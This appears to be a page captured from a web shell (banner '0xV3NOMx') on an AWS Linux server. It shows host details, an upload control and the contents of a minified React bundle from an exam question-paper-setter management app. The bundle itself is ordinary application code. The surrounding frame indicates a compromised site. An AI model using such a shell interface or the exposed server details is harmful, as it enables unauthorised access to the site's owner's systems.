0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.226.214.1


Current Path : /var/www/qpms/assets/
Upload File :
Current File : /var/www/qpms/assets/SelectQpSetter-DOF5u4G5.js

import{v as C,E as r,x as G,r as m,H as V,t as a,D as J,B as k,L as W,G as b,F as v}from"./index-CvUjCcnC.js";import{I as K}from"./index-BrEn3Hnq.js";import{g as X,a as Z,d as ee}from"./UploadQpPattern-D63zyykw.js";import{a as te,t as ae,u as se,f as ne}from"./sem-BK69X1ab.js";import{g as w,s as D}from"./datatable-Cq5oUA82.js";import{S as le}from"./index-cBpPe4Bv.js";import{R as oe}from"./SaveOutlined-vQtQuQmS.js";import{R as re}from"./HomeOutlined-Ch4dEWnc.js";import{R as I,C as T}from"./row-BjYGaq9p.js";import{F as ie}from"./Table-Bjn0CUkG.js";import{C as q}from"./index-Bcns0PqO.js";import"./responsiveObserver-DEIyf_nc.js";import"./index-Ox-82G5m.js";import"./index-B2bo5HG1.js";const de=(...n)=>async(c,g)=>{try{let h=localStorage.getItem("dbname");c({type:"SET_LOADER"});const p=await C.get("app.php?a=getSelectedQpSetters&db="+h+"&deggrp="+n[0]+"&board="+n[1]+"&qpcode="+n[2]+"&type="+n[3]);if(c({type:"UNSET_LOADER"}),p.data.error_code===0){const x=p.data.data.data.map((o,u)=>({...o,key:u,fslno:u+1,emailstatus:"T"}));c({type:"SELECTED_QP_SETTER",payload:x}),c({type:"AVAILABLE_QP_DATA",payload:p.data.data.avl})}else c({type:"CLEAR_SELECTED_QP_SETTER",payload:[]}),c({type:"CLEAR_AVAILABLE_QP_DATA",payload:{}})}catch(h){r("error",h.message)}},pe=(n,c,g,h,p,x)=>async(o,u)=>{try{let i=localStorage.getItem("dbname");o({type:"SET_LOADER"});let y=await C.post("app.php?a=saveQpsetterDetails&db="+i,n);o({type:"UNSET_LOADER"}),y.data.error_code===0?(r("success",y.data.data.msg),c(g,h,p,x)):r("info",y.data.data.msg)}catch(i){r("error",i.message)}},ce=n=>{let c=localStorage.getItem("dbname");const[g,h]=m.useState("Select"),[p,x]=m.useState("All"),[o,u]=m.useState("Select"),[i,y]=m.useState("THEORY"),[f,S]=m.useState([]),[R,P]=m.useState(!1),Q=V();m.useEffect(()=>{n.getQpDeggrp()},[]),m.useEffect(()=>{S(n.qpsetters)},[n.qpsetters]);const j=async(t,e)=>{e==="deggrp"&&(h(t),await n.getQpBoard(t),u("Select"),await n.getAvailableSubjects(t,"All")),e==="board"&&(x(t),await n.getAvailableSubjects(g,t)),e==="qpcode"&&u(t),e==="type"&&y(t),P(!1)},_=async()=>{if(g==="Select")return r("info","Please Select Degree Group"),!1;if(p==="")return r("info","Please Select Board"),!1;if(o==="Select")return r("info","Please Select QP Code"),!1;if(i==="")return r("info","Please Select Type"),!1;await n.getSelectedQpSetters(g,p,o,i),P(!0)},L=n.deggrp.map(t=>({key:t.fdeggrp,label:t.fdescpn,value:t.fdeggrp})),B=n.board.map(t=>({key:t.fboardcode,label:t.fboardname,value:t.fboardcode})),O=[...te,...B],F=n.qpcode.map(t=>({key:t.fqpcode,label:t.fsubname,value:t.fqpcode})),E=(t,e,s)=>{const l=[...f];s==="fassign"?/^[1-9]*$/.test(t.target.value)&&(l[e.key].fassign=t.target.value,l[e.key].fassignTotal=parseInt(t.target.value)+parseInt(e.totalsets),l[e.key].fassignPending=parseInt(t.target.value)+parseInt(e.setspending)):s==="email"?l[e.key].emailstatus=t.target.checked?"T":"F":s==="select"?l[e.key].status=t.target.checked?"T":"F":s==="maxqn"&&(l[e.key].fmaxqn=t.target.value),l[e.key].onchange="T",S(l)},N=async(t,e)=>{let s=[...f];Q({type:"SET_LOADER"});const l=await C.post("/app.php?a=checkTemplateCode&db="+c+"&updtype="+t+"&qpcode="+o+"&type="+i,e);if(Q({type:"UNSET_LOADER"}),l.data.data.FQPPATREN==""&&t==="upload"){r("info","QP Pattren and Syllabus not found for this QP Code "+o),s[e.key].fpretype="";return}else if(l.data.data.ftempcode==""&&t==="online"){r("info","Template not found for this QP Code "+o),s[e.key].ftmpcode="",s[e.key].fpretype="";return}else s[e.key].ftmpcode=l.data.data.ftempcode,s[e.key].fpretype=t,s[e.key].onchange="T";if(l.data.data.fonlineqp==""&&t==="online"&&i==="MCQ"){r("info",o+" qp code is not belongs to mcq"),s[e.key].fpretype="";return}S([...s])},H=(t,e)=>{const s=[...f];s[e].flastdate=t.target.value,s[e].onchange="T",S([...s])},M=(t,e)=>{let s=new Date,l=t.split("/"),d=new Date(l[2],l[1]-1,l[0]);if(d<s&&!z(d,s)){r("info","Enter vaild date");const A=f;A[e].flastdate="",S([...A])}},z=(t,e)=>t.getFullYear()===e.getFullYear()&&t.getMonth()===e.getMonth()&&t.getDate()===e.getDate(),U=t=>{const e=[...f];e[t.key].oldpendingstats=e[t.key].setspending},Y=[{title:"Sl. No",dataIndex:"fslno",align:"center",width:"5%"},{title:"Teach. Code",dataIndex:"fteachcode",...w("fteachcode","teach. code"),sorter:(t,e)=>D(t,e,"fteachcode"),sortDirections:["descend","ascend"],align:"center",width:"8%"},{title:"Teach. Name",dataIndex:"fteachname",...w("fteachname","teach name"),sorter:(t,e)=>D(t,e,"fteachname"),sortDirections:["descend","ascend"],width:"12%"},{title:"Teacher Email ID",dataIndex:"femail",...w("femail","email"),sorter:(t,e)=>D(t,e,"femail"),sortDirections:["descend","ascend"],width:"12%"},{title:"Mobile No.",dataIndex:"fmobile",...w("fmobile","mobile"),sorter:(t,e)=>D(t,e,"fmobile"),sortDirections:["descend","ascend"],align:"center",width:"10%"},{title:"Total Sets",render:(t,e)=>a.jsx("span",{children:e.fassign==""||e.fassign==null?e.totalsets:parseInt(e.fassign)+parseInt(e.totalsets)}),align:"center",width:"5%"},{title:"Sets Done",dataIndex:"setsdone",align:"center",width:"5%"},{title:"Pending Sets",render:(t,e)=>a.jsx("span",{children:e.fassign==""||e.fassign==null?e.setspending:parseInt(e.fassign)+parseInt(e.setspending)}),dataIndex:"setspending",align:"center",width:"5%"},{title:"No. of Sets",render:(t,e)=>a.jsx(v,{value:e.fassign,maxLength:1,style:{textAlign:"center"},onChange:s=>E(s,e,"fassign"),onBlur:()=>U(e)}),align:"center",width:"5%"},{title:"No. of Qn.",render:(t,e)=>a.jsx(v,{size:"mini",value:e.fmaxqn,style:{textAlign:"center"},onChange:s=>E(s,e,"maxqn")}),align:"center",hidden:i!=="MCQ"&&!0,width:"5%"},{title:"Pre. type",render:(t,e)=>a.jsx(b,{size:"mini",value:e.fpretype,options:se,style:{width:"100%"},onChange:s=>N(s,e)}),align:"center",width:"8%"},{title:"On or Before Date",render:(t,e)=>a.jsx(K,{formatChars:ne,style:{height:"35px"},className:"date-input",mask:"ed/nm/zyyy",value:e.flastdate,onChange:s=>H(s,e.key),onBlur:()=>M(e.flastdate,e.key),placeholder:"dd/mm/yyyy"}),align:"center",width:"10%"},{title:"Send Email?",render:(t,e)=>a.jsx(q,{checked:e.emailstatus==="T",onChange:s=>E(s,e,"email")}),align:"center",width:"5%"},{title:"Select",render:(t,e)=>a.jsx(q,{checked:e.status=="T",onChange:s=>E(s,e,"select")}),align:"center",width:"5%"}],$=async()=>{let t=f.filter(d=>d.onchange=="T"&&d.flastdate!=="");if(t.filter(d=>d.FQPPATREN=="").length!==0){r("Info","QP Pattern was not uploaded for this QP Code "+o);return}if(f.filter(d=>d.onchange=="T"&&d.flastdate==""&&d.status=="T").length!==0){r("Info","Please Enter Last Date");return}if(t.length==0){r("Info","No data to update");return}const l=new FormData;l.append("user",n.user.fregno),l.append("univcode",n.user.funivcode),l.append("deggrp",g),l.append("board",p),l.append("qpcode",o),l.append("collcode",n.user.fcollcode),l.append("mobile",n.user.fmobile),l.append("type",i),l.append("data",JSON.stringify(t)),await n.saveQPSetterDetails(l,n.getSelectedQpSetters,g,p,o,i)};return a.jsxs(J,{style:{margin:"6rem 10px 10px"},title:a.jsx("h6",{children:"Select QP Setter"}),extra:a.jsxs(le,{children:[a.jsxs(k,{type:"primary",onClick:$,children:[a.jsx(oe,{})," Save"]}),a.jsx(W,{to:"/dashboard",children:a.jsxs(k,{type:"primary",danger:!0,children:[a.jsx(re,{})," Exit"]})})]}),children:[a.jsxs(I,{gutter:16,children:[a.jsxs(T,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[a.jsx("label",{children:"Exam"}),a.jsx(b,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:g,options:L,onChange:t=>j(t,"deggrp")})]}),a.jsxs(T,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[a.jsx("label",{children:"Board"}),a.jsx(b,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:p,options:O,onChange:t=>j(t,"board")})]}),a.jsxs(T,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[a.jsx("label",{children:"Subject"}),a.jsx(b,{showSearch:!0,className:"ant-select-item-option-content",optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:o,options:F,onChange:t=>j(t,"qpcode")})]})]}),a.jsxs(I,{gutter:16,children:[a.jsxs(T,{xs:24,sm:24,md:12,lg:8,xl:8,xxl:8,children:[a.jsx("label",{children:"Type"}),a.jsx(b,{showSearch:!0,optionFilterProp:"label",style:{marginBottom:"10px",width:"100%"},value:i,options:ae,onChange:t=>j(t,"type")})]}),a.jsxs(T,{xs:24,sm:24,md:12,lg:6,xl:6,xxl:6,children:[a.jsx("p",{style:{marginTop:"20px"}}),a.jsx(k,{type:"primary",style:{marginBottom:"10px"},onClick:()=>_(),children:"Submit"})]})]}),R&&a.jsx(ie,{style:{marginTop:"20px"},dataSource:f,size:"small",scroll:{y:300,x:1300},bordered:!0,columns:Y})]})},ge=n=>({deggrp:n.deggrp,board:n.board,qpcode:n.availableSubjects,qpsetters:n.qpsetters,avlQpCount:n.avlQpCount,user:n.loginfo.userData}),Ce=G(ge,{getQpDeggrp:X,getQpBoard:Z,getSelectedQpSetters:de,saveQPSetterDetails:pe,getAvailableSubjects:ee})(ce);export{Ce as default};